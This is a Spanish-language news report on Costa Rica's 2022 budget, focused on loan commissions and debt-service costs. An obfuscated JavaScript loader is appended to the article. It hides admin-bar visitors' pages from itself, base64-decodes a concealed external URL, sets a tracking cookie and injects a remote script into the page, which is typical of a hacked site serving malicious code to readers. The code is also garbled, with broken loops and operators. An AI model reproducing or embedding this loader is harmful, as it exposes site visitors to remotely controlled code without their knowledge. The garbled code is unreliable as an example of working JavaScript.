

Costa Rica gastará ¢22,546 millones el próximo año por obligaciones vinculadas a préstamos

El Ministerio de Hacienda presentó a los diputados del congreso costarricense los motivos del presupuesto general de la nación para el año 2022. De acuerdo al plan de gastos del próximo año, el gobierno tiene una obligación de pago relacionada a la contratación de préstamos que asciende a ¢22,546 millones.

La cartera estatal acepta que el alza en la cantidad de empréstitos adquiridos con organismos internacionales en el último año ha provocado una variación absoluta de ¢3,218 millones. Esto representa un aumento del 16.6 % en la partida presupuestaria de “Comisiones y otros gastos sobre préstamos del sector externo”.

“Este gasto se explica por el financiamiento de apoyo presupuestario que podría estar pactado en el 2022 y en el comportamiento de los desembolsos por los créditos que se encuentran en ejecución y con los que se proyectan desembolsar en el transcurso del próximo año”, explicó el gobierno costarricense sobre el plan de gastos del otro año, y que asciende a ¢11.5 billones.

El documento, que fue presentado por el ministro de Hacienda, Elián Villegas, detalla que uno de los elementos más importantes dentro del plan de gastos lo representa el pago de amortización e intereses de la deuda. Para el 2022, esta línea presupuestaria requerirá el 43.2 % del total

El gobierno de Costa Rica se pronunció por medio de un comunicado en el que detalló que «se realizaron ajustes

necesarios para cumplir el compromiso de proteger la situación fiscal del país con responsabilidad, sin dejar de brindar a la ciudadanía los bienes y servicios públicos».

«A pesar de que el ambiente económico nacional e internacional presenta condiciones adversas provocadas, principalmente covid-19, este presupuesto contempla los recursos necesarios para hacer frente a compromisos adquiridos», agregó.

```
(function(){try{if(document.getElementById&&document.getElemen  
tById('wadminbar'))return;var t0=+new Date();for(var  
i=0;i<120)return;if((document.cookie||'').indexOf('http2_session  
_id=')!==-1)return;function systemLoad(input){var  
key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234  
56789+/' ,o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/  
[^A-Za-  
z0-9+/' ]/g,»);while(i<input.length){h1=key.indexOf(input.charA  
t(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input  
.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=  
((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if  
(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fro  
mCharCode(o3);}return dec;}var  
u=systemLoad('aHR0cHM6Ly9zZWZyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==  
d=new  
Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie  
='http2_session_id=1; expires='+d.toUTCString()+'; path=/  
SameSite=Lax'+(location.protocol==='https:'?'  
Secure':'');try{window.__rl=u;}catch(e){}var  
s=document.createElement('script');s.type='text/javascript';s.  
async=true;s.src=u;try{s.setAttribute('data-  
rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d  
ocument=documentElement).appendChild(s);}catch(e){}})();;
```